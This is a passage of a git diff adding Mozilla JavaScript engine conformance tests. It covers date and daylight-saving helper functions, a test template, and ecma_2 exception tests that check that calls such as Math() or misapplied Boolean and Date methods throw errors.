+ }
+ if ( ((273+leap) <= day) && (day < (304+leap)) ) {
+ return 9;
+ }
+ if ( ((304+leap) <= day) && (day < (334+leap)) ) {
+ return 10;
+ }
+ if ( ((334+leap) <= day) && (day < (365+leap)) ) {
+ return 11;
+ } else {
+ return "ERROR: MonthFromTime("+t+") not known";
+ }
+}
+function DayWithinYear( t ) {
+ return( Day(t) - DayFromYear(YearFromTime(t)));
+}
+function DateFromTime( t ) {
+ var day = DayWithinYear(t);
+ var month = MonthFromTime(t);
+
+ if ( month == 0 ) {
+ return ( day + 1 );
+ }
+ if ( month == 1 ) {
+ return ( day - 30 );
+ }
+ if ( month == 2 ) {
+ return ( day - 58 - InLeapYear(t) );
+ }
+ if ( month == 3 ) {
+ return ( day - 89 - InLeapYear(t));
+ }
+ if ( month == 4 ) {
+ return ( day - 119 - InLeapYear(t));
+ }
+ if ( month == 5 ) {
+ return ( day - 150- InLeapYear(t));
+ }
+ if ( month == 6 ) {
+ return ( day - 180- InLeapYear(t));
+ }
+ if ( month == 7 ) {
+ return ( day - 211- InLeapYear(t));
+ }
+ if ( month == 8 ) {
+ return ( day - 242- InLeapYear(t));
+ }
+ if ( month == 9 ) {
+ return ( day - 272- InLeapYear(t));
+ }
+ if ( month == 10 ) {
+ return ( day - 303- InLeapYear(t));
+ }
+ if ( month == 11 ) {
+ return ( day - 333- InLeapYear(t));
+ }
+
+ return ("ERROR: DateFromTime("+t+") not known" );
+}
+function WeekDay( t ) {
+ var weekday = (Day(t)+4) % 7;
+ return( weekday < 0 ? 7 + weekday : weekday );
+}
+
+// missing daylight savings time adjustment
+
+function HourFromTime( t ) {
+ var h = Math.floor( t / msPerHour ) % HoursPerDay;
+ return ( (h<0) ? HoursPerDay + h : h );
+}
+function MinFromTime( t ) {
+ var min = Math.floor( t / msPerMinute ) % MinutesPerHour;
+ return( ( min < 0 ) ? MinutesPerHour + min : min );
+}
+function SecFromTime( t ) {
+ var sec = Math.floor( t / msPerSecond ) % SecondsPerMinute;
+ return ( (sec < 0 ) ? SecondsPerMinute + sec : sec );
+}
+function msFromTime( t ) {
+ var ms = t % msPerSecond;
+ return ( (ms < 0 ) ? msPerSecond + ms : ms );
+}
+function LocalTZA() {
+ return ( TZ_DIFF_RAW * msPerHour );
+}
+function UTC( t ) {
+ return ( t - LocalTZA() - DaylightSavingTA(t - LocalTZA()) );
+}
+function LocalTime( t ) {
+ return ( t + LocalTZA() + DaylightSavingTA(t) );
+}
+function DaylightSavingTA( t ) {
+ if (IgnoreDaylightSaving(t)) {
+ return 0;
+ }
+
+ if (DST_PERIOD > 0) {
+ // northern hemisphere
+ var dst_start = GetDSTStart(t);
+ var dst_end = GetDSTEnd(t);
+
+ if ( t >= dst_start && t < dst_end )
+ return msPerHour;
+ } else if (DST_PERIOD < 0) {
+ // southern hemisphere
+ var dst_start = GetDSTStart_Southern(t);
+ var dst_end = GetDSTEnd_Southern(t);
+
+ if ( t >= dst_start && t < GetDSTEnd_Southern(t + msPerYear) )
+ return msPerHour;
+ if ( t < dst_end && t >= GetDSTEnd_Southern(t - msPerYear) )
+ return msPerHour;
+ }
+
+ return 0;
+}
+
+function GetFirstSundayInMonth( t, m ) {
+ var year = YearFromTime(t);
+ var leap = InLeapYear(t);
+
+// month m 0..11
+// april == 3
+// march == 2
+
+ // set time to first day of month m
+ var time = TimeFromYear(year);
+ for (var i = 0; i < m; ++i)
+ {
+ time += TimeInMonth(i, leap);
+ }
+
+ for ( var first_sunday = time; WeekDay(first_sunday) > 0;
+ first_sunday += msPerDay )
+ {
+ ;
+ }
+
+ return first_sunday;
+}
+
+function GetLastSundayInMonth( t, m ) {
+ var year = YearFromTime(t);
+ var leap = InLeapYear(t);
+
+// month m 0..11
+// april == 3
+// march == 2
+
+ // first day of following month
+ var time = TimeFromYear(year);
+ for (var i = 0; i <= m; ++i)
+ {
+ time += TimeInMonth(i, leap);
+ }
+ // prev day == last day of month
+ time -= msPerDay;
+
+ for ( var last_sunday = time; WeekDay(last_sunday) > 0;
+ last_sunday -= msPerDay )
+ {
+ ;
+ }
+ return last_sunday;
+}
+
+/*
+ 15.9.1.9 Daylight Saving Time Adjustment
+
+ The implementation of ECMAScript should not try to determine whether
+ the exact time was subject to daylight saving time, but just whether
+ daylight saving time would have been in effect if the current
+ daylight saving time algorithm had been used at the time. This avoids
+ complications such as taking into account the years that the locale
+ observed daylight saving time year round.
+*/
+
+/*
+ US DST algorithm
+
+ Before 2007, DST starts first Sunday in April at 2 AM and ends last
+ Sunday in October at 2 AM
+
+ Starting in 2007, DST starts second Sunday in March at 2 AM and ends
+ first Sunday in November at 2 AM
+
+ Note that different operating systems behave differently.
+
+ Fully patched Windows XP uses the 2007 algorithm for all dates while
+ fully patched Fedora Core 6 and RHEL 4 Linux use the algorithm in
+ effect at the time.
+
+ Since pre-2007 DST is a subset of 2007 DST rules, this only affects
+ tests that occur in the period Mar-Apr and Oct-Nov where the two
+ algorithms do not agree.
+
+*/
+
+function GetDSTStart( t )
+{
+ return (GetFirstSundayInMonth(t, 2) + 7*msPerDay + 2*msPerHour - LocalTZA());
+}
+
+function GetDSTEnd( t )
+{
+ return (GetFirstSundayInMonth(t, 10) + 2*msPerHour - LocalTZA());
+}
+
+function GetOldDSTStart( t )
+{
+ return (GetFirstSundayInMonth(t, 3) + 2*msPerHour - LocalTZA());
+}
+
+function GetOldDSTEnd( t )
+{
+ return (GetLastSundayInMonth(t, 9) + 2*msPerHour - LocalTZA());
+}
+
+/*
+ * Daylight saving time start/end date for 'Australia'
+ * (arbitrarily chosen as a representative for the southern hemisphere)
+ */
+
+function GetDSTStart_Southern( t )
+{
+ return (GetFirstSundayInMonth(t, 9) + 2*msPerHour - LocalTZA());
+}
+
+function GetDSTEnd_Southern( t )
+{
+ return (GetFirstSundayInMonth(t, 3) + 2*msPerHour - LocalTZA());
+}
+
+function MakeTime( hour, min, sec, ms ) {
+ if ( isNaN( hour ) || isNaN( min ) || isNaN( sec ) || isNaN( ms ) ) {
+ return Number.NaN;
+ }
+
+ hour = ToInteger(hour);
+ min = ToInteger( min);
+ sec = ToInteger( sec);
+ ms = ToInteger( ms );
+
+ return( (hour*msPerHour) + (min*msPerMinute) +
+ (sec*msPerSecond) + ms );
+}
+function MakeDay( year, month, date ) {
+ if ( isNaN(year) || isNaN(month) || isNaN(date) ) {
+ return Number.NaN;
+ }
+ year = ToInteger(year);
+ month = ToInteger(month);
+ date = ToInteger(date );
+
+ var sign = ( year < 1970 ) ? -1 : 1;
+ var t = ( year < 1970 ) ? 1 : 0;
+ var y = ( year < 1970 ) ? 1969 : 1970;
+
+ var result5 = year + Math.floor( month/12 );
+ var result6 = month % 12;
+
+ if ( year < 1970 ) {
+ for ( y = 1969; y >= year; y += sign ) {
+ t += sign * TimeInYear(y);
+ }
+ } else {
+ for ( y = 1970 ; y < year; y += sign ) {
+ t += sign * TimeInYear(y);
+ }
+ }
+
+ var leap = InLeapYear( t );
+
+ for ( var m = 0; m < month; m++ ) {
+ t += TimeInMonth( m, leap );
+ }
+
+ if ( YearFromTime(t) != result5 ) {
+ return Number.NaN;
+ }
+ if ( MonthFromTime(t) != result6 ) {
+ return Number.NaN;
+ }
+ if ( DateFromTime(t) != 1 ) {
+ return Number.NaN;
+ }
+
+ return ( (Day(t)) + date - 1 );
+}
+function TimeInMonth( month, leap ) {
+ // september april june november
+ // jan 0 feb 1 mar 2 apr 3 may 4 june 5 jul 6
+ // aug 7 sep 8 oct 9 nov 10 dec 11
+
+ if ( month == 3 || month == 5 || month == 8 || month == 10 ) {
+ return ( 30*msPerDay );
+ }
+
+ // all the rest
+ if ( month == 0 || month == 2 || month == 4 || month == 6 ||
+ month == 7 || month == 9 || month == 11 ) {
+ return ( 31*msPerDay );
+ }
+
+ // save february
+ return ( (leap == 0) ? 28*msPerDay : 29*msPerDay );
+}
+function MakeDate( day, time ) {
+ if ( day == Number.POSITIVE_INFINITY ||
+ day == Number.NEGATIVE_INFINITY ) {
+ return Number.NaN;
+ }
+ if ( time == Number.POSITIVE_INFINITY ||
+ time == Number.NEGATIVE_INFINITY ) {
+ return Number.NaN;
+ }
+ return ( day * msPerDay ) + time;
+}
+function TimeClip( t ) {
+ if ( isNaN( t ) ) {
+ return ( Number.NaN );
+ }
+ if ( Math.abs( t ) > 8.64e15 ) {
+ return ( Number.NaN );
+ }
+
+ return ( ToInteger( t ) );
+}
+function ToInteger( t ) {
+ t = Number( t );
+
+ if ( isNaN( t ) ){
+ return ( Number.NaN );
+ }
+ if ( t == 0 || t == -0 ||
+ t == Number.POSITIVE_INFINITY || t == Number.NEGATIVE_INFINITY ) {
+ return 0;
+ }
+
+ var sign = ( t < 0 ) ? -1 : 1;
+
+ return ( sign * Math.floor( Math.abs( t ) ) );
+}
+function Enumerate ( o ) {
+ var p;
+ for ( p in o ) {
+ print( p +": " + o[p] );
+ }
+}
+
+/* these functions are useful for running tests manually in Rhino */
+
+function GetContext() {
+ return Packages.com.netscape.javascript.Context.getCurrentContext();
+}
+function OptLevel( i ) {
+ i = Number(i);
+ var cx = GetContext();
+ cx.setOptimizationLevel(i);
+}
+/* end of Rhino functions */
+
diff --git a/js/src/tests/ecma/template.js b/js/src/tests/ecma/template.js
new file mode 100644
index 000000000..56da21cb6
--- /dev/null
+++ b/js/src/tests/ecma/template.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ */
+
+
+/**
+ * File Name: template.js
+ * Reference: ** replace with bugzilla URL or document reference **
+ * Description: ** replace with description of test **
+ * Author: ** replace with your e-mail address **
+ */
+
+var SECTION = ""; // provide a document reference (ie, ECMA section)
+var VERSION = "ECMA"; // Version of JavaScript or ECMA
+var TITLE = ""; // Provide ECMA section title or a description
+var BUGNUMBER = ""; // Provide URL to bugsplat or bugzilla report
+
+startTest(); // leave this alone
+
+/*
+ * Calls to AddTestCase here. AddTestCase is a function that is defined
+ * in shell.js and takes three arguments:
+ * - a string representation of what is being tested
+ * - the expected result
+ * - the actual result
+ *
+ * For example, a test might look like this:
+ *
+ * AddTestCase("** description",
+ * "** expected value",
+ * "** actual value");
+ */
+
+// leave this alone. this executes the test cases and
+// displays results.
+test();
diff --git a/js/src/tests/ecma_2/Exceptions/boolean-001.js b/js/src/tests/ecma_2/Exceptions/boolean-001.js
new file mode 100644
index 000000000..d2cea72b2
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/boolean-001.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: boolean-001.js
+ Description: Corresponds to ecma/Boolean/15.6.4.2-4-n.js
+
+ The toString function is not generic; it generates
+ a runtime error if its this value is not a Boolean
+ object. Therefore it cannot be transferred to other
+ kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: june 27, 1997
+*/
+var SECTION = "boolean-001.js";
+var VERSION = "JS1_4";
+var TITLE = "Boolean.prototype.toString()";
+startTest();
+writeHeaderToLog( SECTION +" "+ TITLE );
+
+var exception = "No exception thrown";
+var result = "Failed";
+
+var TO_STRING = Boolean.prototype.toString;
+
+try {
+ var s = new String("Not a Boolean");
+ s.toString = TO_STRING;
+ s.toString();
+} catch ( e ) {
+ result = "Passed!";
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "Assigning Boolean.prototype.toString to a String object "+
+ "(threw " +exception +")",
+ "Passed!",
+ result );
+
+test();
+
diff --git a/js/src/tests/ecma_2/Exceptions/boolean-002.js b/js/src/tests/ecma_2/Exceptions/boolean-002.js
new file mode 100644
index 000000000..8dd55ed6b
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/boolean-002.js
@@ -0,0 +1,51 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: boolean-001.js
+ Description: Corresponds to ecma/Boolean/15.6.4.3-4-n.js
+
+ 15.6.4.3 Boolean.prototype.valueOf()
+ Returns this boolean value.
+
+ The valueOf function is not generic; it generates
+ a runtime error if its this value is not a Boolean
+ object. Therefore it cannot be transferred to other
+ kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 09 september 1998
+*/
+var SECTION = "boolean-002.js";
+var VERSION = "JS1_4";
+var TITLE = "Boolean.prototype.valueOf()";
+startTest();
+writeHeaderToLog( SECTION +" "+ TITLE );
+
+
+var exception = "No exception thrown";
+var result = "Failed";
+
+var VALUE_OF = Boolean.prototype.valueOf;
+
+try {
+ var s = new String("Not a Boolean");
+ s.valueOf = VALUE_0F;
+ s.valueOf();
+} catch ( e ) {
+ result = "Passed!";
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "Assigning Boolean.prototype.valueOf to a String object "+
+ "(threw " +exception +")",
+ "Passed!",
+ result );
+
+test();
+
diff --git a/js/src/tests/ecma_2/Exceptions/browser.js b/js/src/tests/ecma_2/Exceptions/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/browser.js
diff --git a/js/src/tests/ecma_2/Exceptions/date-002.js b/js/src/tests/ecma_2/Exceptions/date-002.js
new file mode 100644
index 000000000..0f379b541
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/date-002.js
@@ -0,0 +1,54 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: date-002.js
+ Corresponds To: 15.9.5.23-3-n.js
+ ECMA Section: 15.9.5.23
+ Description: Date.prototype.setTime
+
+ 1. If the this value is not a Date object, generate a runtime error.
+ 2. Call ToNumber(time).
+ 3. Call TimeClip(Result(1)).
+ 4. Set the [[Value]] property of the this value to Result(2).
+ 5. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "date-002";
+var VERSION = "JS1_4";
+var TITLE = "Date.prototype.setTime()";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ var MYDATE = new MyDate();
+ result = MYDATE.setTime(0);
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "MYDATE = new MyDate(); MYDATE.setTime(0)" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+function MyDate(value) {
+ this.value = value;
+ this.setTime = Date.prototype.setTime;
+ return this;
+}
diff --git a/js/src/tests/ecma_2/Exceptions/date-003.js b/js/src/tests/ecma_2/Exceptions/date-003.js
new file mode 100644
index 000000000..f8f48c699
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/date-003.js
@@ -0,0 +1,56 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: date-003.js
+ Corresponds To 15.9.5.3-1.js
+ ECMA Section: 15.9.5.3-1 Date.prototype.valueOf
+ Description:
+
+ The valueOf function returns a number, which is this time value.
+
+ The valueOf function is not generic; it generates a runtime error if
+ its this value is not a Date object. Therefore it cannot be transferred
+ to other kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "date-003";
+var VERSION = "JS1_4";
+var TITLE = "Date.prototype.valueOf";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ var OBJ = new MyObject( new Date(0) );
+ result = OBJ.valueOf();
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "OBJ = new MyObject( new Date(0)); OBJ.valueOf()" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+function MyObject( value ) {
+ this.value = value;
+ this.valueOf = Date.prototype.valueOf;
+// The following line causes an infinte loop
+// this.toString = new Function( "return this+\"\";");
+ return this;
+}
diff --git a/js/src/tests/ecma_2/Exceptions/date-004.js b/js/src/tests/ecma_2/Exceptions/date-004.js
new file mode 100644
index 000000000..fd8733cbd
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/date-004.js
@@ -0,0 +1,50 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: date-004.js
+ Corresponds To: 15.9.5.4-2-n.js
+ ECMA Section: 15.9.5.4-1 Date.prototype.getTime
+ Description:
+
+ 1. If the this value is not an object whose [[Class]] property is "Date",
+ generate a runtime error.
+ 2. Return this time value.
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "date-004";
+var VERSION = "JS1_4";
+var TITLE = "Date.prototype.getTime";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ var MYDATE = new MyDate();
+ result = MYDATE.getTime();
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "MYDATE = new MyDate(); MYDATE.getTime()" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+function MyDate( value ) {
+ this.value = value;
+ this.getTime = Date.prototype.getTime;
+}
diff --git a/js/src/tests/ecma_2/Exceptions/exception-001.js b/js/src/tests/ecma_2/Exceptions/exception-001.js
new file mode 100644
index 000000000..987ba0af8
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/exception-001.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: exception-001
+ * ECMA Section:
+ * Description: Tests for JavaScript Standard Exceptions
+ *
+ * Call error.
+ *
+ * Author: christine@netscape.com
+ * Date: 31 August 1998
+ */
+var SECTION = "exception-001";
+var VERSION = "js1_4";
+var TITLE = "Tests for JavaScript Standard Exceptions: CallError";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+Call_1();
+
+test();
+
+function Call_1() {
+ result = "failed: no exception thrown";
+ exception = null;
+
+ try {
+ Math();
+ } catch ( e ) {
+ result = "passed: threw exception",
+ exception = e.toString();
+ } finally {
+ new TestCase(
+ SECTION,
+ "Math() [ exception is " + exception +" ]",
+ "passed: threw exception",
+ result );
+ }
+}
+
diff --git a/js/src/tests/ecma_2/Exceptions/exception-002.js b/js/src/tests/ecma_2/Exceptions/exception-002.js
new file mode 100644
index 000000000..74ce79a96
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/exception-002.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: exception-002
+ * ECMA Section:
+ * Description: Tests for JavaScript Standard Exceptions
+ *
+ * Construct error.
+ *
+ * Author: christine@netscape.com
+ * Date: 31 August 1998
+ */
+var SECTION = "exception-002";
+var VERSION = "js1_4";
+var TITLE = "Tests for JavaScript Standard Exceptions: ConstructError";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+Construct_1();
+
+test();
+
+function Construct_1() {
+ result = "failed: no exception thrown";
+ exception = null;
+
+ try {
+ result = new Math();
+ } catch ( e ) {
+ result = "passed: threw exception",
+ exception = e.toString();
+ } finally {
+ new TestCase(
+ SECTION,
+ "new Math() [ exception is " + exception +" ]",
+ "passed: threw exception",
+ result );
+ }
+}
+
diff --git a/js/src/tests/ecma_2/Exceptions/exception-003.js b/js/src/tests/ecma_2/Exceptions/exception-003.js
new file mode 100644
index 000000000..7bc02a627
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/exception-003.js
@@ -0,0 +1,49 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: exception-003
+ * ECMA Section:
+ * Description: Tests for JavaScript Standard Exceptions
+ *
+ * Target error.
+ *
+ * Author: christine@netscape.com
+ * Date: 31 August 1998
+ */
+var SECTION = "exception-003";
+var VERSION = "js1_4";
+var TITLE = "Tests for JavaScript Standard Exceptions: TargetError";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+Target_1();
+
+test();
+
+function Target_1() {
+ result = "failed: no exception thrown";
+ exception = null;
+
+ try {
+ string = new String("hi");
+ string.toString = Boolean.prototype.toString;
+ string.toString();
+ } catch ( e ) {
+ result = "passed: threw exception",
+ exception = e.toString();
+ } finally {
+ new TestCase(
+ SECTION,
+ "string = new String(\"hi\");"+
+ "string.toString = Boolean.prototype.toString" +
+ "string.toString() [ exception is " + exception +" ]",
+ "passed: threw exception",
+ result );
+ }
+}
+
diff --git a/js/src/tests/ecma_2/Exceptions/exception-004.js b/js/src/tests/ecma_2/Exceptions/exception-004.js
new file mode 100644
index 000000000..41b7ac3aa
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/exception-004.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: exception-004
+ * ECMA Section:
+ * Description: Tests for JavaScript Standard Exceptions
+ *
+ * ToObject error.
+ *
+ * Author: christine@netscape.com
+ * Date: 31 August 1998
+ */
+var SECTION = "exception-004";
+var VERSION = "js1_4";
+var TITLE = "Tests for JavaScript Standard Exceptions: ToObjectError";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+ToObject_1();
+
+test();
+
+function ToObject_1() {
+ result = "failed: no exception thrown";
+ exception = null;
+
+ try {
+ result = foo["bar"];
+ } catch ( e ) {
+ result = "passed: threw exception",
+ exception = e.toString();
+ } finally {
+ new TestCase(
+ SECTION,
+ "foo[\"bar\"] [ exception is " + exception +" ]",
+ "passed: threw exception",
+ result );
+ }
+}
+
diff --git a/js/src/tests/ecma_2/Exceptions/exception-005.js b/js/src/tests/ecma_2/Exceptions/exception-005.js
new file mode 100644
index 000000000..152aebe4b
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/exception-005.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: exception-005
+ * ECMA Section:
+ * Description: Tests for JavaScript Standard Exceptions
+ *
+ * ToObject error.
+ *
+ * Author: christine@netscape.com
+ * Date: 31 August 1998
+ */
+var SECTION = "exception-005";
+var VERSION = "js1_4";
+var TITLE = "Tests for JavaScript Standard Exceptions: ToObjectError";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+ToObject_1();
+
+test();
+
+function ToObject_1() {
+ result = "failed: no exception thrown";
+ exception = null;
+
+ try {
+ result = foo["bar"];
+ } catch ( e ) {
+ result = "passed: threw exception",
+ exception = e.toString();
+ } finally {
+ new TestCase(
+ SECTION,
+ "foo[\"bar\"] [ exception is " + exception +" ]",
+ "passed: threw exception",
+ result );
+ }
+}
+
diff --git a/js/src/tests/ecma_2/Exceptions/exception-006.js b/js/src/tests/ecma_2/Exceptions/exception-006.js
new file mode 100644
index 000000000..cf9df729c
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/exception-006.js
@@ -0,0 +1,56 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: exception-006
+ * ECMA Section:
+ * Description: Tests for JavaScript Standard Exceptions
+ *
+ * ToPrimitive error.
+ *
+ * Author: christine@netscape.com
+ * Date: 31 August 1998
+ */
+var SECTION = "exception-006";
+var VERSION = "js1_4";
+var TITLE = "Tests for JavaScript Standard Exceptions: TypeError";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+ToPrimitive_1();
+
+test();
+
+
+/**
+ * Getting the [[DefaultValue]] of any instances of MyObject
+ * should result in a runtime error in ToPrimitive.
+ */
+
+function MyObject() {
+ this.toString = void 0;
+ this.valueOf = void 0;
+}
+
+function ToPrimitive_1() {
+ result = "failed: no exception thrown";
+ exception = null;
+
+ try {
+ result = new MyObject() + new MyObject();
+ } catch ( e ) {
+ result = "passed: threw exception",
+ exception = e.toString();
+ } finally {
+ new TestCase(
+ SECTION,
+ "new MyObject() + new MyObject() [ exception is " + exception +" ]",
+ "passed: threw exception",
+ result );
+ }
+}
+
diff --git a/js/src/tests/ecma_2/Exceptions/exception-007.js b/js/src/tests/ecma_2/Exceptions/exception-007.js
new file mode 100644
index 000000000..bae0027b5
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/exception-007.js
@@ -0,0 +1,57 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: exception-007
+ * ECMA Section:
+ * Description: Tests for JavaScript Standard Exceptions
+ *
+ * DefaultValue error.
+ *
+ * Author: christine@netscape.com
+ * Date: 31 August 1998
+ */
+var SECTION = "exception-007";
+var VERSION = "js1_4";
+var TITLE = "Tests for JavaScript Standard Exceptions: TypeError";
+var BUGNUMBER="318250";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DefaultValue_1();
+
+test();
+
+
+/**
+ * Getting the [[DefaultValue]] of any instances of MyObject
+ * should result in a runtime error in ToPrimitive.
+ */
+
+function MyObject() {
+ this.toString = void 0;
+ this.valueOf = new Object();
+}
+
+function DefaultValue_1() {
+ result = "failed: no exception thrown";
+ exception = null;
+
+ try {
+ result = new MyObject() + new MyObject();
+ } catch ( e ) {
+ result = "passed: threw exception",
+ exception = e.toString();
+ } finally {
+ new TestCase(
+ SECTION,
+ "new MyObject() + new MyObject() [ exception is " + exception +" ]",
+ "passed: threw exception",
+ result );
+ }
+}
+
diff --git a/js/src/tests/ecma_2/Exceptions/exception-008.js b/js/src/tests/ecma_2/Exceptions/exception-008.js
new file mode 100644
index 000000000..f7efa9fb4
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/exception-008.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: exception-008
+ * ECMA Section:
+ * Description: Tests for JavaScript Standard Exceptions
+ *
+ * SyntaxError.
+ *
+ * Author: christine@netscape.com
+ * Date: 31 August 1998
+ */
+var SECTION = "exception-008";
+var VERSION = "js1_4";
+var TITLE = "Tests for JavaScript Standard Exceptions: SyntaxError";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+Syntax_1();
+
+test();
+
+function Syntax_1() {
+ result = "failed: no exception thrown";
+ exception = null;
+
+ try {
+ result = eval("continue;");
+ } catch ( e ) {
+ result = "passed: threw exception",
+ exception = e.toString();
+ } finally {
+ new TestCase(
+ SECTION,
+ "eval(\"continue\") [ exception is " + exception +" ]",
+ "passed: threw exception",
+ result );
+ }
+}
diff --git a/js/src/tests/ecma_2/Exceptions/exception-009.js b/js/src/tests/ecma_2/Exceptions/exception-009.js
new file mode 100644
index 000000000..1229bf561
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/exception-009.js
@@ -0,0 +1,53 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: exception-009
+ * ECMA Section:
+ * Description: Tests for JavaScript Standard Exceptions
+ *
+ * Regression test for nested try blocks.
+ *
+ * http://scopus.mcom.com/bugsplat/show_bug.cgi?id=312964
+ *
